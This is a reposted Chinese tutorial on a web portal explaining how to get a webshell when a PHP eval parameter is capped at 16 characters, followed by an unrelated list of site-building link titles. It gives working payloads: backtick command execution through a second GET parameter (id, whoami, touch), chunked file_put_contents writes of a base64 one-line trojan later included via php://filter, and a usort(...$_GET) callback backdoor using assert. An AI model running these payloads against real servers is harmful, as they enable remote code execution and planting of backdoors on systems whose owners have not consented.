当前位置: 首页 > news >正文

成功备案的网站增加域名餐厅网站建设什么

成功备案的网站增加域名,餐厅网站建设什么,网站推广怎么样做,免费域名映射要求: PHP Eval函数参数限制在16个字符的情况下 ,如何拿到Webshell? widows小皮环境搭建: 使用phpstudy搭建一个网站。 随后在该eval文件夹下创建一个webshell.php文件,并在其输入代码环境 解题思路: 通…

要求:

PHP Eval函数参数限制在16个字符的情况下 ,如何拿到Webshell?

widows小皮环境搭建:

使用phpstudy搭建一个网站。

随后在该eval文件夹下创建一个webshell.php文件,并在其输入代码环境

解题思路:

通过webshell.php的代码中我们可以看到,我们传递的一个param的参数长度小于17位,即长度最多十六位,而且里面不能包含eval和assert,最后eval执行。这就是这段代码的含义。

这个题的难度在于其的长度限制。

我们输入?param=phpinfo();查看页面为php正常。

但我们也就只有输入一个phpinfo();了,但是这只是在Windows下不行了,在Linux下继续接着尝试。

Linux环境搭建:

进入nginx下的html文件夹中创建一个web.php文件下输入代码。

cd /usr/local/nginx/html

vim web.php

:wq保存退出,在/usr/local/nginx/sbin下./nginx启动nginx。

浏览器进入该web.php。

再次解题:

输入?param=phpinfo();测试环境搭建成功。

但是跟解题无关,依然只是个php界面,啥用没有,我们输入?param=·$_GET[1]·&1=id,

id通过反引号执行,因为在Linux下反引号是可以执行命令的。

'$_GET[1]'&1=id,这个代码的意思就是将$_GET[1]中的1的参数放在Linux下执行,实际上执行的就是$_GET[id],而这17位主要是'$_GET[1]'这个不能突破17位,而后面的1=id随便写多少位都行。

发现没有任何执行显示,这是因为我们执行了但没有输出,只需在前面加上个echo和;即可,?param=echo `$_GET[1]`;&1=id

这就完成了我们的代码执行转换为了命令执行,再转为whoami查看我们的用户是谁。?param=echo `$_GET[1]`;&1=whoami

若是想要执行其他命令例如rm之类的不能执行到,因为权限不够。

比如我们在tmp下创建一个文件,?param=echo `$_GET[1]`;&1=touch /tmp/ceshi123.txt

在Linux中查看,创建成功,用户及权限都是www-data.

以上就是一个突破长度限制的一个内容,算是最简单的一种技巧,接触过第一次后,就很容易的想到这种办法了,当有长度限制的要求时,Windows下的环境一般不会有,因为大部分99%的公司企业环境都用的Linux,而当一看到长度限制只有几位操作空间的时候就可以想到Linux了。

其他技巧:

当然还有另一种稍微难点的技巧。

web.php?1=file_put_contents&param=$_GET[1](N,P,8);

web.php?1=file_put_contents&param=$_GET[1](N,D,8);

继续追加

web.php?1=file_put_contents&param=$_GET[1](N,w,8);

web.php?param=include$_GET[1];&1=php://filter/read=convert.b ase64-decode/resource=N

这里向param传入的$_GET[1],这个GET[1]接受的参数是file_put_contents,实际GET[1]中写的就是file_put_contents,这个file_put_contents里传了三个参数,N、P、8,N是我们要写的文件名,也就是我们要写进这个文件里去,P是我们一句话木马的一个base64编码,8代表着追加。我们输入web.php?1=file_put_contents&param=$_GET[1](N,P,8);后在Linux中的查看会发现多了一个N的文件,N文件中内容为P,再执行一个web.php?1=file_put_contents&param=$_GET[1](N,D,8);这其实就是将base64编码一个一个往N里面追加。但是在官方文档中这个8是FILE_APPEND,这样就超出长度限制了,根本用不了,8是因为php底层C语言代码中file_put_content函数中的追加是8,所以这里写的8而不是php官方文档中写的FILE_APPEND。这里就是写8的原因而不是写的其他。这里追加的是base64编码而不是其他编码是因为有些特殊字符在file_append中追加不了,比如^?等追加不了。读取是通过php的尾协议用base64-decode解码成一个正常的语句文件包含进去的N里面是可以识别的一句话木马。前提就是得一个一个追加完成后进行一个解码执行。

还有一个web.php?1[]=test&1[]=phpinfo();&2=assert。加上一个usort(...$_GET);即PHP5.6+变长参数 ⇒ usort回调后门 ⇒ 任意代码执行,前提是要进行一个抓包,这里使用的是burpsuite抓包。

抓包结果如下。

对开头得GET修改为POST末尾追加param=usort(...$_GET);加;是因为要传入eval中得,这里usort(...$_GET);一共16位没有超过17位。

这里php5.6可以接收...GET变长参数,usort的回调后门去执行。

然后在action中send to repeater后在repeater中send就可以在旁边看到了。

以上三个方法就是EVAL长度限制突破技巧的一小部分技巧了。

http://www.yayakq.cn/news/885832/

相关文章:

  • 有了网站源码 怎么建设网站wordpress导航栏目
  • 在招聘网站做销售技巧网站建设方案哪家好 推荐
  • 库存网站建设定制建设网站是哪个部门负责
  • 为什么做网站广告制作开票大类是什么
  • 网站建设的方案费用网站的基础建设项目
  • 怎么利用wordpress管理站点农畜产品销售平台的网站建设
  • 定制旅游哪个网站好用广州白云区网站建设
  • 济南建设管理局官网企业网站seo运营
  • 一家专门做开网店的网站没钱怎么做网站
  • 包头教育云平台网站建设网站建设教程书籍免费下载
  • 做网站一定要正版系统吗哈尔滨市人社app
  • 响应式网站建设特色重庆建设部网站
  • html设计主题网站代码WordPress长文章索引插件
  • 怎样用wordpress建站电子商务网站建设与运营
  • 响应式自适应网站模板网站建设中的财务预算
  • 品牌网站建设 杭州网页qq登录空间
  • 网页设计做一个网站wordpress android下载
  • php 网站 模板公司建立网站的步骤
  • 安卓手机软件开发外包网站优化什么意思
  • 企业网站前期建设常见的网站开发工具
  • wordpress 30天热门google seo是什么
  • 自己做的网站安全吗旅游景区网站模板
  • 济宁市兖州区城市建设局网站wordpress 仿站 菜单
  • 成安网站建设做综合类网站好不好
  • 比一网站建设成都网站建设 龙兵
  • 建设银行哈尔滨分行网站网站解析什么意思
  • 网站有标题手机网站百度关键词排名
  • 开发区网站开发语言都有哪些做二手挖机的网站
  • 企业网站备案多少钱网站描述怎么修改吗
  • 凡科轻站小程序怎么样网站毕业设计代做